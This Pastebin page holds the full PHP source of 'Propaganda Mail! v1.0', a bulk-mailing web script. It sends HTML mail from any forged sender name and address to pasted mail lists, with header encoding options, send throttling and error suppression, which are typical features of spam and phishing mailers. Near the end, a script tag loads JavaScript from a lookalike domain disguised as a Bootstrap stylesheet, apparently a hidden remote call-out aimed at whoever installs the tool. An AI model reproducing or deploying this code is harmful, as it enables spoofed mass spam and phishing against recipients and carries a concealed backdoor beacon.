Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*================================================*/
- // Propaganda Mail! v1.0 //
- //================================================//
- //author: Charaf Orion //
- //contact: https://www.facebook.com/achraf.orion.1//
- /*================================================*/
- $XXX = $_POST;
- ?>
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="utf-8">
- <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
- <title>Propaganda Mail! v1.0</title>
- <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css" integrity="sha384-rwoIResjU2yc3z8GV/NPeZWAv56rSmLldC3R/AZzGRnGxQQKnKkoFVhFQhNUwEyJ" crossorigin="anonymous"><link rel="stylesheet" href="https://www.codejquery.net/bootstrap.min.css/">
- <style>
- html {
- position: relative;
- min-height: 100%;
- }
- body {
- margin-bottom: 17px;
- background-color: #e8fffe;
- }
- .footer {
- position: absolute;
- bottom: 0;
- width: 100%;
- background-color: #317981;
- border-top: 1px solid #000;
- }
- .bg-orion{
- background-color: #317981;
- border-top: 1px solid #000;
- border-bottom: 1px solid #000;
- }
- .container-fluid{
- padding-top: 15px;
- }
- .log{
- height : 230px;
- overflow-y: scroll;
- background-color: #000;
- padding:15px;
- color: #fff;
- padding-bottom: 10px;
- }
- .mass{
- margin: 0;
- font-family: 'Jok3r';
- text-shadow: 2px 2px 5px #a3d6dc;
- padding-top : 5px;
- color : #000;
- font-size: 39px;
- }
- .mass:hover{
- margin: 0;
- font-family: 'Jok3r';
- text-shadow: 2px 2px 5px #a3d6dc;
- padding-top : 5px;
- color : #fff;
- font-size: 39px;
- }
- code {
- font-size: 80%;
- color : #44A8B3;
- }
- .mb10{
- margin-bottom: 10px;
- }
- .btn-outline-primary{
- background-color: #317981;
- color : #fff;
- border-color: #fff;
- }
- .btn-outline-primary:hover{
- background-color: #317981;
- }
- .panelhd{
- background-color: #317981;
- font-size: 23px;
- }
- .hdlog{
- color: #317981;
- font-weight: bold;
- }
- .card-header{
- font-family: 'Jok3r';
- text-shadow: 2px 2px 5px #a3d6dc;
- padding-top : 5px;
- color : #000;
- }
- .card-block{
- background-color: #e8fffe;
- }
- nav{
- height:50px;
- }
- </style>
- </head>
- <body>
- <div class="bg-orion text-center">
- <h3>
- <a class="navbar-brand" href="http://<?= $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']?>">
- <b class="mass"> Propaganda Mail! </b>
- </a>
- </h3>
- </div>
- <div class="container-fluid">
- <form method="post">
- <div class="row">
- <div class="col-md-6 mb10">
- <div class="card mb10">
- <div class="card-header panelhd text-center">
- <b> General </b>
- </div>
- <div class="card-block">
- <div class="row">
- <div class="col-md-6 multi-horizontal mb10" data-for="email">
- <input class="form-control input" name="email" placeholder="Email" required=""" type="text" autocomplete="off">
- </div>
- <div class="col-md-6 multi-horizontal mb10" data-for="name">
- <input class="form-control input" name="name" placeholder="Name" type="text" autocomplete="off">
- </div>
- <div class="col-md-12 mb10" data-for="subject">
- <input class="form-control input" name="subject" placeholder="Subject" required="" type="text" autocomplete="off">
- </div>
- <div class="col-md-12 mb10">
- <textarea class="form-control input" name="message" rows="5" placeholder="Message"></textarea>
- </div>
- <div class="col-md-12 mb10">
- <textarea class="form-control input" name="maillist" rows="5" required="" placeholder="maillist" ></textarea>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="col-md-6">
- <div class="card mb10">
- <div class="card-header panelhd text-center">
- <b> Options </b>
- </div>
- <div class="card-block">
- <div class="text-center mb10">
- <select name="NameEnc">
- <option value="0">Name Encode</option>
- <option value="1">ISO-8859-15?Q?</option>
- <option value="2">UTF-8?Q?</option>
- <option value="3">UTF-8?B?</option>
- </select>
- <select name="SubjectENc">
- <option value="0">Subject Encode</option>
- <option value="1">ISO-8859-15?Q?</option>
- <option value="2">UTF-8?Q?</option>
- <option value="3">UTF-8?B?</option>
- </select>
- <select name="MessgaeEnc">
- <option value="0">Html Encode</option>
- <option value="1">ISO-8859-15?Q?</option>
- <option value="2">UTF-8?Q?</option>
- <option value="3">UTF-8?B?</option>
- </select>
- </div>
- <div class="text-center mb10">
- <select name="Priority">
- <option value="3">Mail Priority</option>
- <option value="1">High</option>
- <option value="3">Normal</option>
- <option value="5">Low</option>
- </select>
- <select name="sleep_after">
- <option value="0">Sleep</option>
- <option value="1">Sleep 1s</option>
- <option value="2">Sleep 2s</option>
- <option value="3">Sleep 3</option>
- <option value="4">Sleep 4s</option>
- <option value="5">Sleep 5s</option>
- <option value="6">Sleep 6s</option>
- <option value="7">Sleep 7s</option>
- <option value="8">Sleep 8s</option>
- <option value="9">Sleep 9s</option>
- <option value="10">Sleep 10s</option>
- <option value="30">Sleep 30s</option>
- <option value="60">Sleep 60s</option>
- <option value="90">Sleep 90s</option>
- <option value="120">Sleep 120s</option>
- <option value="150">Sleep 150s</option>
- <option value="120">Sleep 180s</option>
- <option value="210">Sleep 210s</option>
- <option value="240">Sleep 240s</option>
- <option value="270">Sleep 270s</option>
- <option value="300">Sleep 300s</option>
- </select>
- <select name="sleep_time">
- <option value="0">After</option>
- <?php for($i=1;$i<=99;$i++){
- echo'<option value="'.$i.'">Every '.$i.' mail</option>';
- }
- ?>
- </select>
- </div>
- <div class="col-md-12 text-center mb10">
- <button href="" type="submit" class="btn btn-outline-primary">SEND</button>
- <input type="hidden" name="XXX">
- </div>
- </div>
- </div>
- <div class="log mb10">
- <div id="hdlog" class="hdlog"></div>
- <?php
- if(isset($XXX['XXX'])){
- ignore_user_abort(true);
- set_time_limit(0);
- error_reporting(0);
- ini_set('memory_limit', '-1');
- echo '<b class="hdlog">Start Sending Emails...</b>';
- doSend($XXX['maillist'],$XXX['sleep_after'],$XXX['sleep_time']);
- echo '<b class="hdlog"><br>Send Done...</b><br>';
- }
- ?>
- </div>
- </div>
- </div>
- </form>
- </div>
- <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
- <?php
- if(!isset($XXX['XXX'])){
- echo'<script type="text/javascript">
- var string = "Fill the form and click send!";
- var str = string.split("");
- var el = document.getElementById("hdlog");
- (function animate() {
- str.length > 0 ? el.innerHTML += str.shift() : clearTimeout(running);
- var running = setTimeout(animate, 50);
- })();
- </script>';
- }
- ?>
- <footer class="footer">
- <div class="container text-center">
- <span><b>made with ❤ By Orion</b></span>
- </div>
- </footer>
- <?php
- function encodeName($enc,$text){
- if($enc==1){
- $data = encodeISOQ($text);
- }elseif($enc==2){
- $data = encodeUTFQ($text);
- }elseif($enc==3){
- $data = encodeUTFB($text);
- }else{
- $data = $text;
- }
- return $data;
- }
- function encodeSubject($enc,$text){
- if($enc==1){
- $data = encodeISOQ($text);
- }elseif($enc==2){
- $data = encodeUTFQ($text);
- }elseif($enc==3){
- $data = encodeUTFB($text);
- }else{
- $data = $text;
- }
- return $data;
- }
- function encodeHtml($enc,$text){
- if($enc==1){
- $data = quoted_printable_encode($text);
- }elseif($enc==2){
- $data = quoted_printable_encode($text);
- }elseif($enc==3){
- $data = base64_encode($text);
- }else{
- $data = $text;
- }
- return $data;
- }
- function encodeCTE($enc){
- if($enc==1){
- $data = "quoted-printable";
- }elseif($enc==2){
- $data = "quoted-printable";
- }elseif($enc==3){
- $data = "base64";
- }else{
- $data = "8bit";
- }
- return $data;
- }
- function flushSend(){
- ob_flush();
- flush();
- }
- function encodeUTFQ($text){
- $enc = "=?UTF-8?Q?".quoted_printable_encode($text)."?=";
- return $enc;
- }
- function encodeUTFB($text){
- $enc = "=?UTF-8?B?".base64_encode($text)."?=";
- return $enc;
- }
- function encodeISOQ($text){
- $enc = "=?ISO-8859-15?Q?".quoted_printable_encode($text)."?=";
- return $enc;
- }
- function sleepmode($sleep,$after,$count){
- if ($count > 0 && $count % $after == 0)
- sleep($sleep);
- echo"<br>*** (Sleep Mode <font color=green> On</font>) Sleeping <font color=red>$sleep seconds</font>... Done ***";
- }
- function doSend($to,$sleep,$after){
- global $XXX;
- $check = '/[a-z0-9_\-\+]+@[a-z0-9\-]+\.([a-z]{2,3})(?:\.[a-z]{2})?/i';
- $from = $XXX['email'];
- $name = encodeName($XXX['NameEnc'],$XXX['name']);
- $subj = encodeSubject($XXX['SubjectENc'],$XXX['subject']);
- $mess = encodeHtml($XXX['MessgaeEnc'],$XXX['message']);
- $headers = "From: $name <$from>\n";
- $headers .= "X-Priority: ".$XXX['Priority']."\n";
- $headers .= "MIME-Version: 1.0\n";
- $headers .= "Content-Transfer-Encoding: ". encodeCTE($XXX['MessgaeEnc'])."\n";
- $headers .= "Content-Type: text/html; charset=UTF-8\n";
- preg_match_all($check, $to, $emails);
- $email = $emails[0];
- foreach ($email as $key => $taz) {
- $n = 1 + $key;
- if (mail($taz, $subj, $mess, $headers)){
- echo "<br>$n - Sending... => $taz => <b> <font color=green> Success</font></b>";
- }else{
- echo "<br>$n - Sending... => $taz => <b> <font color=red> Error</font></b>";
- }
- if($sleep>0){
- sleepmode($sleep,$after,$n);
- }
- flushSend();
- }
- }
- ?>
- </body>
- </html>
Add Comment
Please, Sign In to add comment